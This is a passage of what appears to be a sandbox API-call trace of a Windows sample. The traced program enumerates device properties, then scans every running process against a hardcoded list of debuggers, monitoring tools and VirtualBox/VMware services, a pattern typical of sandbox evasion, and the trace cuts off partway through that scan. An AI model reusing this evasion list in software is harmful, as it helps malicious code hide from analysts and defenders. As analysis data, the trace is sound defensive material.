PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x10, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0245.283] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x38, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0245.283] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0245.323] GetLastError () returned 0x7a [0245.323] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x25, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0245.327] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0245.327] GetLastError () returned 0x7a [0245.328] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb58, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb58, RequiredSize=0x19fe7c) returned 1 [0245.328] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x39, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0245.328] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0245.383] GetLastError () returned 0x7a [0245.383] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0245.419] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0245.420] GetLastError () returned 0x7a [0245.420] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb10, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb10, RequiredSize=0x19fe7c) returned 1 [0245.420] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x3a, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0245.420] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0245.457] GetLastError () returned 0x7a [0245.457] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xb, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0245.495] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0245.495] GetLastError () returned 0x7a [0245.495] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb70, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb70, RequiredSize=0x19fe7c) returned 1 [0245.496] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x3b, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 0 [0245.496] SetupDiDestroyDeviceInfoList (DeviceInfoSet=0x63da28) returned 1 [0247.264] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x21d) returned 0x25a6b18 [0247.264] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x21d) returned 0x25a6d40 [0247.264] lstrlenA (lpString="Fiddler.exe;samp1e.exe;sample.exe;runsample.exe;lordpe.exe;regshot.exe;Autoruns.exe;dsniff.exe;VBoxTray.exe;HashMyFiles.exe;ProcessHacker.exe;Procmon.exe;Procmon64.exe;netmon.exe;vmtoolsd.exe;vm3dservice.exe;VGAuthService.exe;pr0c3xp.exe;ProcessHacker.exe;CFF Explorer.exe;dumpcap.exe;Wireshark.exe;idaq.exe;idaq64.exe;TPAutoConnect.exe;ResourceHacker.exe;vmacthlp.exe;OLLYDBG.EXE;windbg.exe;bds-vision-agent-nai.exe;bds-vision-apis.exe;bds-vision-agent-app.exe;MultiAnalysis_v1.0.294.exe;x32dbg.exe;VBoxTray.exe;VBoxService.exe;Tcpview.exe") returned 540 [0247.264] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x94) returned 0x261f908 [0247.264] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fba0 [0247.264] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fa50 [0247.264] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fb40 [0247.264] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fa68 [0247.264] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fb58 [0247.264] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa20 [0247.264] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fae0 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fa08 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fb10 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fac8 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x261f9a8 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fbb8 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fa38 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261faf8 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fa80 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261f9f0 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x25a6f68 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa98 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x25a6f88 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x25a6fa8 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fab0 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fb28 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb70 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fb88 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x25a6fc8 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x25a6fe8 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x25a7350 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7368 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x25a7398 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x19) returned 0x25a7410 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x14) returned 0x25a7438 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x19) returned 0x25a7458 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x1b) returned 0x25a7480 [0247.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x25a7380 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x25a73b0 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x25a7338 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a73c8 [0247.266] lstrlenA (lpString="Fiddler.exe;samp1e.exe;sample.exe;runsample.exe;lordpe.exe;regshot.exe;Autoruns.exe;dsniff.exe;VBoxTray.exe;HashMyFiles.exe;ProcessHacker.exe;Procmon.exe;Procmon64.exe;netmon.exe;vmtoolsd.exe;vm3dservice.exe;VGAuthService.exe;pr0c3xp.exe;ProcessHacker.exe;CFF Explorer.exe;dumpcap.exe;Wireshark.exe;idaq.exe;idaq64.exe;TPAutoConnect.exe;ResourceHacker.exe;vmacthlp.exe;OLLYDBG.EXE;windbg.exe;bds-vision-agent-nai.exe;bds-vision-apis.exe;bds-vision-agent-app.exe;MultiAnalysis_v1.0.294.exe;x32dbg.exe;VBoxTray.exe;VBoxService.exe;Tcpview.exe") returned 540 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x94) returned 0x25a74a8 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a73e0 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x25a73f8 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x25a7218 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x25a7320 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x25a7050 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7230 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x25a7200 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x25a7248 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x25a71e8 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x25a7080 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x25a7548 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7290 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x25a7140 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x25a72f0 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x25a71d0 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x25a7260 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x25a7568 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a70e0 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x25a7588 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x25a75a8 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a70b0 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x25a7278 [0247.266] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x25a71b8 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x25a7308 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x25a75c8 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x25a75e8 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x25a72a8 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a72c0 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x25a7158 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x19) returned 0x25a7608 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x14) returned 0x25a7630 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x19) returned 0x25a7650 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x1b) returned 0x25a7678 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x25a72d8 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x25a7038 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x25a7068 [0247.267] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7098 [0247.267] lstrlenA (lpString="Fiddler.exe;samp1e.exe;sample.exe;runsample.exe;lordpe.exe;regshot.exe;Autoruns.exe;dsniff.exe;VBoxTray.exe;HashMyFiles.exe;ProcessHacker.exe;Procmon.exe;Procmon64.exe;netmon.exe;vmtoolsd.exe;vm3dservice.exe;VGAuthService.exe;pr0c3xp.exe;ProcessHacker.exe;CFF Explorer.exe;dumpcap.exe;Wireshark.exe;idaq.exe;idaq64.exe;TPAutoConnect.exe;ResourceHacker.exe;vmacthlp.exe;OLLYDBG.EXE;windbg.exe;bds-vision-agent-nai.exe;bds-vision-apis.exe;bds-vision-agent-app.exe;MultiAnalysis_v1.0.294.exe;x32dbg.exe;VBoxTray.exe;VBoxService.exe;Tcpview.exe") returned 540 [0247.267] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a6b18 | out: hHeap=0x25a0000) returned 1 [0247.267] GetCurrentProcessId () returned 0x13e8 [0247.267] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x13e8) returned 0x290 [0247.327] Process32First (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.328] lstrcmpiA (lpString1="Fiddler.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="samp1e.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="sample.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="runsample.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="lordpe.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="regshot.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="Autoruns.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="dsniff.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="Procmon.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="Procmon64.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="netmon.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="dumpcap.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="Wireshark.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="idaq.exe", lpString2="[System Process]") returned 1 [0247.328] lstrcmpiA (lpString1="idaq64.exe", lpString2="[System Process]") returned 1 [0247.329] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="[System Process]") returned 1 [0247.329] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="[System Process]") returned 1 [0247.329] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="[System Process]") returned 1 [0247.329] lstrcmpiA (lpString1="OLLYDBG.EXE", lpString2="[System Process]") returned 1 [0247.329] lstrcmpiA (lpString1="windbg.exe", lpString2="[System Process]") returned 1 [0247.329] lstrcmpiA (lpString1="bds-vision-agent-nai.exe", lpString2="[System Process]") returned 1 [0247.329] lstrcmpiA (lpString1="bds-vision-apis.exe", lpString2="[System Process]") returned 1 [0247.329] lstrcmpiA (lpString1="bds-vision-agent-app.exe", lpString2="[System Process]") returned 1 [0247.329] lstrcmpiA (lpString1="MultiAnalysis_v1.0.294.exe", lpString2="[System Process]") returned 1 [0247.329] lstrcmpiA (lpString1="x32dbg.exe", lpString2="[System Process]") returned 1 [0247.329] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="[System Process]") returned 1 [0247.329] lstrcmpiA (lpString1="VBoxService.exe", lpString2="[System Process]") returned 1 [0247.329] lstrcmpiA (lpString1="Tcpview.exe", lpString2="[System Process]") returned 1 [0247.329] StrStrIA (lpFirst="[System Process]", lpSrch="Fiddler.exe") returned 0x0 [0247.329] StrStrIA (lpFirst="[System Process]", lpSrch="samp1e.exe") returned 0x0 [0247.329] StrStrIA (lpFirst="[System Process]", lpSrch="sample.exe") returned 0x0 [0247.329] StrStrIA (lpFirst="[System Process]", lpSrch="runsample.exe") returned 0x0 [0247.329] StrStrIA (lpFirst="[System Process]", lpSrch="lordpe.exe") returned 0x0 [0247.329] StrStrIA (lpFirst="[System Process]", lpSrch="regshot.exe") returned 0x0 [0247.329] StrStrIA (lpFirst="[System Process]", lpSrch="Autoruns.exe") returned 0x0 [0247.329] StrStrIA (lpFirst="[System Process]", lpSrch="dsniff.exe") returned 0x0 [0247.329] StrStrIA (lpFirst="[System Process]", lpSrch="VBoxTray.exe") returned 0x0 [0247.329] StrStrIA (lpFirst="[System Process]", lpSrch="HashMyFiles.exe") returned 0x0 [0247.329] StrStrIA (lpFirst="[System Process]", lpSrch="ProcessHacker.exe") returned 0x0 [0247.329] StrStrIA (lpFirst="[System Process]", lpSrch="Procmon.exe") returned 0x0 [0247.329] StrStrIA (lpFirst="[System Process]", lpSrch="Procmon64.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="netmon.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="vmtoolsd.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="vm3dservice.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="VGAuthService.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="pr0c3xp.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="ProcessHacker.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="CFF Explorer.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="dumpcap.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="Wireshark.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="idaq.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="idaq64.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="TPAutoConnect.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="ResourceHacker.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="vmacthlp.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="OLLYDBG.EXE") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="windbg.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="bds-vision-agent-nai.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="bds-vision-apis.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="bds-vision-agent-app.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="MultiAnalysis_v1.0.294.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="x32dbg.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="VBoxTray.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="VBoxService.exe") returned 0x0 [0247.330] StrStrIA (lpFirst="[System Process]", lpSrch="Tcpview.exe") returned 0x0 [0247.331] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0247.331] lstrcmpiA (lpString1="Fiddler.exe", lpString2="System") returned -1 [0247.331] lstrcmpiA (lpString1="samp1e.exe", lpString2="System") returned -1 [0247.331] lstrcmpiA (lpString1="sample.exe", lpString2="System") returned -1 [0247.331] lstrcmpiA (lpString1="runsample.exe", lpString2="System") returned -1 [0247.331] lstrcmpiA (lpString1="lordpe.exe", lpString2="System") returned -1 [0247.331] lstrcmpiA (lpString1="regshot.exe", lpString2="System") returned -1 [0247.331] lstrcmpiA (lpString1="Autoruns.exe", lpString2="System") returned -1 [0247.331] lstrcmpiA (lpString1="dsniff.exe", lpString2="System") returned -1 [0247.331] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="System") returned 1 [0247.331] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="Procmon.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="Procmon64.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="netmon.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="System") returned 1 [0247.332] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="System") returned 1 [0247.332] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="System") returned 1 [0247.332] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="dumpcap.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="Wireshark.exe", lpString2="System") returned 1 [0247.332] lstrcmpiA (lpString1="idaq.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="idaq64.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="System") returned 1 [0247.332] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="System") returned 1 [0247.332] lstrcmpiA (lpString1="OLLYDBG.EXE", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="windbg.exe", lpString2="System") returned 1 [0247.332] lstrcmpiA (lpString1="bds-vision-agent-nai.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="bds-vision-apis.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="bds-vision-agent-app.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="MultiAnalysis_v1.0.294.exe", lpString2="System") returned -1 [0247.332] lstrcmpiA (lpString1="x32dbg.exe", lpString2="System") returned 1 [0247.332] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="System") returned 1 [0247.332] lstrcmpiA (lpString1="VBoxService.exe", lpString2="System") returned 1 [0247.332] lstrcmpiA (lpString1="Tcpview.exe", lpString2="System") returned 1 [0247.332] StrStrIA (lpFirst="System", lpSrch="Fiddler.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="samp1e.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="sample.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="runsample.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="lordpe.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="regshot.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="Autoruns.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="dsniff.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="VBoxTray.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="HashMyFiles.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="ProcessHacker.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="Procmon.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="Procmon64.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="netmon.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="vmtoolsd.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="vm3dservice.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="VGAuthService.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="pr0c3xp.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="ProcessHacker.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="CFF Explorer.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="dumpcap.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="Wireshark.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="idaq.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="idaq64.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="TPAutoConnect.exe") returned 0x0 [0247.333] StrStrIA (lpFirst="System", lpSrch="ResourceHacker.exe") returned 0x0 